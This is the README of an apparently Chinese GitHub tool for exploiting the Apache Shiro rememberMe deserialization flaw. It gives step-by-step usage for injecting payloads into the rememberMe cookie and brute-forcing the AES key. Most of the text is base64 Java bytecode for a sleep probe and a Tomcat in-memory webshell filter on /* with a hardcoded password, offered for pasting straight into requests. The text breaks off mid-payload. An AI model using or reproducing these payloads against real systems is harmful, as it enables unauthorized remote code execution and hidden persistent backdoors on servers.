shiro 内存马_GitHub - Veraxy01/Shiro-EXP: Apache Shiro 反序列化漏洞检测与利用工具，一键注入内存马...

项目介绍

基于Apache Shiro反序列化漏洞进行利用链的探测，附内存马。

利用时需要修改POST请求两处数据，分别为Header头RememberMe字段值和携带的data数据(由于payload设定，data中须指定名字为c的参数值)。

探测到利用链后，根据提示，将屏幕输出的payload粘贴至POST请求Header头RememberMe字段处，至于data携带的数据，自行决策，本文文末附内存马，可直接粘贴至data中使用，或自行生成指定命令的字节码片段替换。

Shiro exp使用手册

Shiro rememberMe反序列化漏洞

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe)，用户登录成功后会生成经过加密并编码的cookie，服务端对rememberMe的cookie值先base64解码然后AES解密再反序列化，就导致了反序列化RCE漏洞。

影响版本

Apache Shiro < 1.2.4

特征判断

返回包中包含rememberMe=deleteMe字段

Exp

环境

python3

相关依赖安装

pip install -r requirements.txt

项目结构

操作

1. 启动项目

python Main.py url

2. 修改数据包

抓取发送目标的POST请求包，根据命令行提示修改Header头中Cookie字段值，并在data中为c参数赋要加载字节码数据(字节码列表在文章下面，根据需求进行选择)，示例图选择了 Sleep 20s 的字节码探测漏洞。

3. 单独获取key的需求

可通过项目中Key.py脚本单独跑key，当然Main.py脚本本身在探测利用链的同时也会在命令行输出正确的key值

字节码列表

Sleep探测

yv66vgAAADQAHgoACAASBQAAAAAAAE4gCgATABQKABMAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAOU2xlZXBUZXN0LmphdmEMAAkACgcAGQwAGgAbDAAcAB0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAUY29tL3ZlcmF4eS9TbGVlcFRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEABXNsZWVwAQAEKEopVgAhAAcACAAAAAAAAgABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAIACAANAAoAAQALAAAATgACAAIAAAARFAACP7gABFceuAAFpwAES7EAAQAAAAwADwAGAAIADAAAABYABQAAAAUABAAGAAwACAAPAAcAEAAJAA4AAAAHAAJPBwAPAAABABAAAAACABE=

Tomcat内存马

路径：/*

密码：f#tQy5OOEF^E5&$%

yv66vgAAADMBQAoAKwCsCACtCACuCACvCgAqALAIALEKACoAsgoAKwCzCAC0CgC1ALYKALUAtwoAtQC4CgC1ALkKALUAuggAuwgAvAoAtQC9BwC+CgASAKwKALUAvwgAwAoAEgDBBwDCCwAXAMMIAMQHAMUHAMYHAMcIAMgJAMkAygoAywDMCgDLAM0IAM4HAM8KACIArAoAIgDQBwDRCADSCADTCgAlANQIANUHANYHANcHANgHAHsKACoA2QoANAC2BwBwCQDaANsIAHwKADQA3AcA3QgA3goA2gDfCgAqAOAKAOEAtgoA4QDiBwDjCwDkAOUIAOYIAOcLAIMA6AsAgwDpCQDqAOsKAOwA7QsAgwDuCQDJAO8IAPAKACoA8QgA8gcA8wgA9AgA9QgA9gcAZwgA9woALAD4BwD5BwD6AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MdG9tY2F0X2ZpbHRlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFvAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEbmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWkBAAFJAQARZmlsdGVyU3RhcnRNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA2NjYwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABYwEAAW0BAApmaWx0ZXJNYXBzAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEADXRtcEZpbHRlck1hcHMBAA50bXBGaWx0ZXJNYXBzMQEABWluZGV4AQAKc3RhdGVGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAJjbAEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHTUZieXRlcwEAAltCAQAUU3VwZXJDbGFzc1JlZmxlY3Rpb24BAAdkZWNvZGVyAQAYTHN1bi9taXNjL0JBU0U2NERlY29kZXI7AQAZYnl0ZXNTdXBlckNsYXNzUmVmbGVjdGlvbgEABmZpZWxkMQEABnVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAZY2xhc3NTdXBlckNsYXNzUmVmbGVjdGlvbgEAF21ldGhvZGdldERlY2xhcmVkTWV0aG9kAQAHY2xhc3NlcwEAEltMamF2YS9sYW5nL0NsYXNzOwEAC2RlZmluZUNsYXNzAQAHbXljbGFzcwEADU1GY29uc3RydWN0b3IBAB9MamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAJbXlfZmlsdGVyAQAWTGphdmF4L3NlcnZsZXQvRmlsdGVyOwEAEmZpbHRlclJlZ2lzdHJhdGlvbgcA/AEAB0R5bmFtaWMBAAxJbm5lckNsYXNzZXMBACpMamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb24kRHluYW1pYzsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEADnNlcnZsZXRDb250ZXh0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7AQAFZmllbGQBABJhcHBsaWNhdGlvbkNvbnRleHQBAC1Mb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uQ29udGV4dDsBAA9zdGFuZGFyZENvbnRleHQBACpMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dDsBAAJjMQEAAmYxAQAObW9kaWZpZXJzRmllbGQBAAFmAQABdAEAF0xqYXZhL2xhbmcvVGhyZWFkTG9jYWw7AQAQZmlsdGVyVXJsUGF0dGVybgEACmZpbHRlck5hbWUBAA1TdGFja01hcFRhYmxlBwDYBwDWBwD9BwC+BwDCBwD+BwDFBwDGBwD/BwDPBwDRBwDdBwEABwDjBwD8BwDzBwDXAQAKU291cmNlRmlsZQEAEnRvbWNhdF9maWx0ZXIuamF2YQwAUABRAQACLyoBAAxNeWZpbHRlcm5hbWUBAC5vcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25EaXNwYXRjaGVyDAEBAQIBABBXUkFQX1NBTUVfT0JKRUNUDAEDAQQMAQUBBgEACW1vZGlmaWVycwcA/QwBBwEIDAEJAQoMAQsBDAwBDQEODAEPARABAC9vcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDaGFpbgEAE2xhc3RTZXJ2aWNlZFJlcXVlc3QMAREBEgEAFWphdmEvbGFuZy9UaHJlYWRMb2NhbAwBEwEUAQAUbGFzdFNlcnZpY2VkUmVzcG9uc2UMAREBFQEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QMARYBFwEAB2NvbnRleHQBACtvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25Db250ZXh0AQAob3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dAEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvdXRpbC9MaWZlY3ljbGVCYXNlAQAFc3RhdGUHARgMARkBGgcBGwwBHAEdDAEeAR8BEaB5djY2dmdBQUFETUFkZ29BQXdCUENnQURBRkFIQUZFS0FGSUFVd2NBVkFvQVVnQlZDZ0FXQUZZS0FGY0FXQW9BVndCWkJ3QmFDZ0FLQUZzSEFGd0tBQXdBV3djQVhRb0FEZ0JiQ2dCU0FGNEtBQllBWHdvQVlBQllDZ0JnQUdFS0FHQUFZZ29BQlFCYkJ3QmpBUUFHUEdsdWFYUStBUUFES0NsV0FRQUVRMjlrWlFFQUQweHBibVZPZFcxaVpYSlVZV0pzWlFFQUVreHZZMkZzVm1GeWFXRmliR1ZVWVdKc1pRRUFCSFJvYVhNQkFCdE1VM1Z3WlhKRGJHRnpjMUpsWm14bFkzUnBiMjVWZEdsc2N6c0JBQkZuWlhSRVpXTnNZWEpsWkUxbGRHaHZaQUVBVWloTWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0YlRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwMWxkR2h2WkRzQkFBRmxBUUFWVEdwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0N0FRQUZZMnhoZW5vQkFCRk1hbUYyWVM5c1lXNW5MME5zWVhOek93RUFCbTlpYW1WamRBRUFFa3hxWVhaaEwyeGhibWN2VDJKcVpXTjBPd0VBQ20xbGRHaHZaRTVoYldVQkFCSk1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQTV3WVhKaGJXVjBaWEpVZVhCbGN3RUFFbHRNYW1GMllTOXNZVzVuTDBOc1lYTnpPd0VBQm0xbGRHaHZaQUVBR2t4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlE3QVFBV1RHOWpZV3hXWVhKcFlXSnNaVlI1Y0dWVVlXSnNaUUVBRkV4cVlYWmhMMnhoYm1jdlEyeGhjM004S2o0N0FRQVZXMHhxWVhaaEwyeGhibWN2UTJ4aGMzTThLajQ3QVFBTlUzUmhZMnROWVhCVVlXSnNaUWNBWkFjQVpRY0FWQUVBQ1ZOcFoyNWhkSFZ5WlFFQVZTaE1hbUYyWVM5c1lXNW5MMDlpYW1WamREdE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6dGJUR3BoZG1FdmJHRnVaeTlEYkdGemN6d3FQanNwVEdwaGRtRXZiR0Z1Wnk5eVpXWnNaV04wTDAxbGRHaHZaRHNCQUF4cGJuWnZhMlZOWlhSb2IyUUJBRjBvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3VEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VzB4cVlYWmhMMnhoYm1jdlEyeGhjM003VzB4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFDUk1hbUYyWVM5c1lXNW5MMGxzYkdWbllXeEJjbWQxYldWdWRFVjRZMlZ3ZEdsdmJqc0JBQ0pNYW1GMllTOXNZVzVuTDBsc2JHVm5ZV3hCWTJObGMzTkZlR05sY0hScGIyNDdBUUF0VEdwaGRtRXZiR0Z1Wnk5eVpXWnNaV04wTDBsdWRtOWpZWFJwYjI1VVlYSm5aWFJGZUdObGNIUnBiMjQ3QVFBS2NHRnlZVzFsZEdWeWN3RUFFMXRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNIQUZvSEFGd0hBRjBCQUdBb1RHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN1cweHFZWFpoTDJ4aGJtY3ZRMnhoYzNNOEtqNDdXMHhxWVhaaEwyeGhibWN2VDJKcVpXTjBPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUJCblpYUkVaV05zWVhKbFpFWnBaV3hrQVFBL0tFeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME8weHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRN0FRQUpabWxsYkdST1lXMWxBUUFGWm1sbGJHUUJBQmxNYW1GMllTOXNZVzVuTDNKbFpteGxZM1F2Um1sbGJHUTdCd0JtQVFBTmMyVjBSbWxsYkdSV1lXeDFaUUVBT1NoTWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzcFZnRUFCWFpoYkhWbEJ3QlJCd0JuQVFBTloyVjBSbWxsYkdSV1lXeDFaUUVBT0NoTWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUtVMjkxY21ObFJtbHNaUUVBSGxOMWNHVnlRMnhoYzNOU1pXWnNaV04wYVc5dVZYUnBiSE11YW1GMllRd0FGd0FZREFCb0FHa0JBQkJxWVhaaEwyeGhibWN2VDJKcVpXTjBCd0JsREFBZUFHb0JBQk5xWVhaaEwyeGhibWN2UlhoalpYQjBhVzl1REFCckFHa01BQjRBSHdjQVpBd0FiQUJ0REFCdUFHOEJBQ0pxWVhaaEwyeGhibWN2U1d4c1pXZGhiRUZ5WjNWdFpXNTBSWGhqWlhCMGFXOXVEQUJ3QUJnQkFDQnFZWFpoTDJ4aGJtY3ZTV3hzWldkaGJFRmpZMlZ6YzBWNFkyVndkR2x2YmdFQUsycGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwbHVkbTlqWVhScGIyNVVZWEpuWlhSRmVHTmxjSFJwYjI0TUFFQUFjUXdBUUFCQkJ3Qm1EQUJ5QUhNTUFIUUFkUUVBR1ZOMWNHVnlRMnhoYzNOU1pXWnNaV04wYVc5dVZYUnBiSE1CQUJocVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlFCQUE5cVlYWmhMMnhoYm1jdlEyeGhjM01CQUJkcVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaQUVBRUdwaGRtRXZiR0Z1Wnk5VGRISnBibWNCQUFoblpYUkRiR0Z6Y3dFQUV5Z3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBRUFvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VzB4cVlYWmhMMnhoYm1jdlEyeGhjM003S1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlE3QVFBTloyVjBVM1Z3WlhKamJHRnpjd0VBRFhObGRFRmpZMlZ6YzJsaWJHVUJBQVFvV2lsV0FRQUdhVzUyYjJ0bEFRQTVLRXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPMXRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBUGNISnBiblJUZEdGamExUnlZV05sQVFBdEtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRN0FRQURjMlYwQVFBbktFeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bFdBUUFEWjJWMEFRQW1LRXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNBSVFBV0FBTUFBQUFBQUFZQUFRQVhBQmdBQVFBWkFBQUFMd0FCQUFFQUFBQUZLcmNBQWJFQUFBQUNBQm9BQUFBR0FBRUFBQUFMQUJzQUFBQU1BQUVBQUFBRkFCd0FIUUFBQUlrQUhnQWZBQUlBR1FBQUFOZ0FBd0FHQUFBQUtBRk9LcllBQWpvRUdRUVRBQU9sQUJrWkJDc3N0Z0FFVGkyd09nVVpCTFlBQmpvRXAvL2xBYkFBQVFBUUFCa0FHZ0FGQUFRQUdnQUFBQjRBQndBQUFCVUFBZ0FXQUJBQUdBQVlBQmtBR2dBYUFCd0FGZ0FtQUI4QUd3QUFBRDRBQmdBY0FBQUFJQUFoQUFVQUNBQWVBQ0lBSXdBRUFBQUFLQUFrQUNVQUFBQUFBQ2dBSmdBbkFBRUFBQUFvQUNnQUtRQUNBQUlBSmdBcUFDc0FBd0FzQUFBQUZnQUNBQWdBSGdBaUFDMEFCQUFBQUNnQUtBQXVBQUlBTHdBQUFCSUFBLzBBQ0FjQU1BY0FNVkVIQURMNkFBc0FNd0FBQUFJQU5BQUpBRFVBTmdBQ0FCa0FBQUVsQUFNQUJnQUFBRHdxS3l5NEFBYzZCQmtFQkxZQUNBRVpCS1VBQ3hrRUtpMjJBQW13cHdBZU9nVVpCYllBQzZjQUZEb0ZHUVcyQUEybkFBbzZCUmtGdGdBUEFiQUFBd0FPQUJzQUh3QUtBQTRBR3dBcEFBd0FEZ0FiQURNQURnQUVBQm9BQUFBNkFBNEFBQUF0QUFnQU1BQU9BRE1BRkFBMUFCd0FQUUFmQURjQUlRQTRBQ1lBUFFBcEFEa0FLd0E2QURBQVBRQXpBRHNBTlFBOEFEb0FQZ0FiQUFBQVVnQUlBQ0VBQlFBZ0FEY0FCUUFyQUFVQUlBQTRBQVVBTlFBRkFDQUFPUUFGQUFBQVBBQWtBQ1VBQUFBQUFEd0FKZ0FuQUFFQUFBQThBQ2dBS1FBQ0FBQUFQQUE2QURzQUF3QUlBRFFBS2dBckFBUUFMQUFBQUF3QUFRQUFBRHdBS0FBdUFBSUFMd0FBQUJVQUJmd0FIQWNBTUVJSEFEeEpCd0E5U1FjQVBnWUFNd0FBQUFJQVB3QUpBRUFBUVFBQkFCa0FBQURBQUFJQUJRQUFBQ0lCVFNxMkFBSk9MUk1BQTZVQUZTMHJ0Z0FRVFN5d09nUXR0Z0FHVHFmLzZnR3dBQUVBRGdBVkFCWUFCUUFFQUJvQUFBQWlBQWdBQUFCSUFBSUFTUUFIQUVvQURnQk1BQlFBVFFBV0FFNEFHQUJLQUNBQVV3QWJBQUFBTkFBRkFCZ0FBQUFnQUNFQUJBQUFBQ0lBSkFBbEFBQUFBQUFpQUVJQUp3QUJBQUlBSUFCREFFUUFBZ0FIQUJzQUlnQWpBQU1BTEFBQUFBd0FBUUFIQUJzQUlnQXRBQU1BTHdBQUFCQUFBLzBBQndjQVJRY0FNVTRIQURJSkFBa0FSZ0JIQUFFQUdRQUFBTmtBQXdBRkFBQUFKaW9ydUFBUlRpMEV0Z0FTTFNvc3RnQVRwd0FVT2dRWkJMWUFDNmNBQ2pvRUdRUzJBQTJ4QUFJQUN3QVJBQlFBQ2dBTEFCRUFIZ0FNQUFNQUdnQUFBQ29BQ2dBQUFGNEFCZ0JnQUFzQVl3QVJBR2dBRkFCa0FCWUFaUUFiQUdnQUhnQm1BQ0FBWndBbEFHa0FHd0FBQUQ0QUJnQVdBQVVBSUFBM0FBUUFJQUFGQUNBQU9BQUVBQUFBSmdBa0FDVUFBQUFBQUNZQVFnQW5BQUVBQUFBbUFFZ0FKUUFDQUFZQUlBQkRBRVFBQXdBdkFBQUFIUUFEL3dBVUFBUUhBRWtIQUVvSEFFa0hBRVVBQVFjQVBFa0hBRDBHQUFrQVN3Qk1BQUVBR1FBQUFKY0FBZ0FFQUFBQUdDb3J1QUFSVFN3RXRnQVNMQ3EyQUJTd1RpMjJBQlVCc0FBQkFBc0FFQUFSQUFVQUF3QWFBQUFBR2dBR0FBQUFkQUFHQUhZQUN3QjVBQkVBZWdBU0FIc0FGZ0I5QUJzQUFBQXFBQVFBRWdBRUFDQUFJUUFEQUFBQUdBQWtBQ1VBQUFBQUFCZ0FRZ0FuQUFFQUJnQVNBRU1BUkFBQ0FDOEFBQUFWQUFIL0FCRUFBd2NBU1FjQVNnY0FSUUFCQndBeUFBRUFUUUFBQUFJQVRnPT0BABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEgASEBAA9zdW4vbWlzYy9VbnNhZmUBAAl0aGVVbnNhZmUBABlTdXBlckNsYXNzUmVmbGVjdGlvblV0aWxzDAB8ASIBABFnZXREZWNsYXJlZE1ldGhvZAEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nDADVASMHASQMASUAYwwBJgEnAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAITXlmaWx0ZXIMASgBKQwBKgErBwEADAEsAS0BABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgcA/gwBLgEvAQAIZW5jb2RpbmcBAAV1dGYtOAwBMAExDAEyAQgHATMMATQBNQcBNgwBNwE4DAE5AToMATsBGgEAC2ZpbHRlclN0YXJ0DAE8ASMBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlck1hcAEAE2phdmEvbGFuZy9FeGNlcHRpb24BACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXABAChvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuU3RhbmRhcmRDb250ZXh0AQAOZmluZEZpbHRlck1hcHMBAA1nZXRGaWx0ZXJOYW1lDAE9AT4BAA10b21jYXRfZmlsdGVyAQAUamF2YS9pby9TZXJpYWxpemFibGUHAT8BAChqYXZheC9zZXJ2bGV0L0ZpbHRlclJlZ2lzdHJhdGlvbiREeW5hbWljAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEADGdldE1vZGlmaWVycwEAAygpSQEABnNldEludAEAFihMamF2YS9sYW5nL09iamVjdDtJKVYBAApnZXRCb29sZWFuAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAKc2V0Qm9vbGVhbgEAFihMamF2YS9sYW5nL09iamVjdDtaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAIm9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGUBAA1TVEFSVElOR19QUkVQAQAkTG9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGU7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQBgKExqYXZhL2xhbmcvU3RyaW5nO1tCSUlMamF2YS9sYW5nL0NsYXNzTG9hZGVyO0xqYXZhL3NlY3VyaXR5L1Byb3RlY3Rpb25Eb21haW47KUxqYXZhL2xhbmcvQ2xhc3M7AQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAOZ2V0Q29uc3RydWN0b3IBADMoW0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACWFkZEZpbHRlcgEAVChMamF2YS9sYW5nL1N0cmluZztMamF2YXgvc2VydmxldC9GaWx0ZXI7KUxqYXZheC9zZXJ2bGV0L0ZpbHRlclJlZ2lzdHJhdGlvbiREeW5hbWljOwEAEHNldEluaXRQYXJhbWV0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVoBABFzZXRBc3luY1N1cHBvcnRlZAEAHGphdmF4L3NlcnZsZXQvRGlzcGF0Y2hlclR5cGUBAAdSRVFVRVNUAQAeTGphdmF4L3NlcnZsZXQvRGlzcGF0Y2hlclR5cGU7AQARamF2YS91dGlsL0VudW1TZXQBAAJvZgEAJShMamF2YS9sYW5nL0VudW07KUxqYXZhL3V0aWwvRW51bVNldDsBABhhZGRNYXBwaW5nRm9yVXJsUGF0dGVybnMBACooTGphdmEvdXRpbC9FbnVtU2V0O1pbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAdTVEFSVEVEAQAJZ2V0TWV0aG9kAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAIGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uACEATgArAAEATwAAAAIAAQBQAFEAAQBSAAAALwABAAEAAAAFKrcAAbEAAAACAFMAAAAGAAEAAAAMAFQAAAAMAAEAAAAFAFUAVgAAAAgAVwBRAAEAUgAA1isABwAnAADQTxICSxIDTBIEuAAFTSwSBrYAB04ttgAIEgm2AAc6BBkEBLYAChkELS22AAsQ7362AAwtBLYACi0BtgANmQAIyAAAABAtAQS2AA7IAAAABRIPuAAFTSwSELYAB04ttgAIEgm2AAc6BBkEBLYAChkELS22AAsQ7362AAwtBLYACi0BtgARxgAIyAAAABYtAbsAElm3ABO2ABTIAAAABSwSFbYAB04ttgAIEgm2AAc6BBkEBLYAChkELS22AAsQ7362AAwtBLYACi0BtgARxgAIyAAAABYtAbsAElm3ABO2ABTIAAAABSwSELYABzoFGQUEtgAKGQUBtgARwAASOgYZBscACMgAAM9GGQa2ABbHAAjIAADPORkGtgAWwAAXOgcZB7kAGAEAOggZCLYACBIZtgAHOgkZCQS2AAoZCRkItgARwAAaOgoZCrYACBIZtgAHOgkZCQS2AAoZCRkKtgARwAAbOgsZC8cACMgAAM7bEwAcEh22AAc6DBkMBLYAChkMGQuyAB62ABS4AB+2ACA6DREeKLwIWQMQylRZBBD+VFkFELpUWQYQvlRZBwNUWQgDVFkQBgNUWRAHEDNUWRAIA1RZEAkQ3VRZEAoQClRZEAsDVFkQDBAaVFkQDQNUWRAOEHdUWRAPEAhUWRAQA1RZEBEQeFRZEBIQB1RZEBMDVFkQFBB5VFkQFRALVFkQFgNUWRAXBlRZEBgDVFkQGRB6VFkQGhAIVFkQGwNUWRAcEHtUWRAdEAtUWRAeA1RZEB8QKFRZECADVFkQIRB8VFkQIhAIVFkQIwNUWRAkEH1UWRAlEApUWRAmA1RZECcQflRZECgDVFkQKRB/VFkQKhAHVFkQKwNUWRAsEIBUWRAtEApUWRAuA1RZEC8QJVRZEDADVFkQMRCBVFkQMhAKVFkQMwNUWRA0EAlUWRA1A1RZEDYQglRZEDcQClRZEDgDVFkQORB+VFkQOgNUWRA7EINUWRA8EAtUWRA9A1RZED4QJlRZED8DVFkQQBCEVFkQQRAKVFkQQgNUWRBDEIVUWRBEA1RZEEUQhlRZEEYQB1RZEEcDVFkQSBCHVFkQSRAKVFkQSgNUWRBLEA9UWRBMA1RZEE0Qd1RZEE4QClRZEE8DVFkQUBAPVFkQUQNUWRBSEIhUWRBTEApUWRBUA1RZEFUQflRZEFYDVFkQVxCJVFkQWBAIVFkQWQNUWRBaEIpUWRBbEApUWRBcA1RZEF0QFlRZEF4DVFkQXxCLVFkQYBAHVFkQYQNUWRBiEIxUWRBjEAdUWRBkA1RZEGUQjVRZEGYQB1RZEGcDVFkQaBCOVFkQaRAKVFkQagNUWRBrEBZUWRBsA1RZEG0Qj1RZEG4QClRZEG8DVFkQcBCQVFkQcQNUWRByEJFUWRBzEAdUWRB0A1RZEHUQklRZEHYQClRZEHcDVFkQeBAaVFkQeQNUWRB6EJNUWRB7EApUWRB8A1RZEH0QFlRZEH4DVFkQfxCUVFkRAIAQClRZEQCBA1RZEQCCEJBUWREAgwNUWREAhBCVVFkRAIUQCFRZEQCGA1RZEQCHEJZUWREAiBAHVFkRAIkDVFkRAIoQS1RZEQCLEApUWREAjANUWREAjRAWVFkRAI4DVFkRAI8Ql1RZEQCQEApUWREAkQNUWREAkhCYVFkRAJMDVFkRAJQQkVRZEQCVEApUWREAlgNUWREAlxCYVFkRAJgDVFkRAJkQmVRZEQCaEApUWREAmwNUWREAnBAWVFkRAJ0DVFkRAJ4QmlRZEQCfEAhUWREAoANUWREAoRCbVFkRAKIQB1RZEQCjA1RZEQCkEJxUWREApRAHVFkRAKYDVFkRAKcQnVRZEQCoEAdUWREAqQNUWREAqhCeVFkRAKsQB1RZEQCsA1RZEQCtEJ9UWREArhAHVFkRAK8DVFkRALAQoFRZEQCxEAhUWREAsgNUWREAsxChVFkRALQQClRZEQC1A1RZEQC2EBZUWREAtwNUWREAuBCiVFkRALkQClRZEQC6A1RZEQC7EKNUWREAvANUWREAvRCRVFkRAL4QClRZEQC/A1RZEQDAEKNUWREAw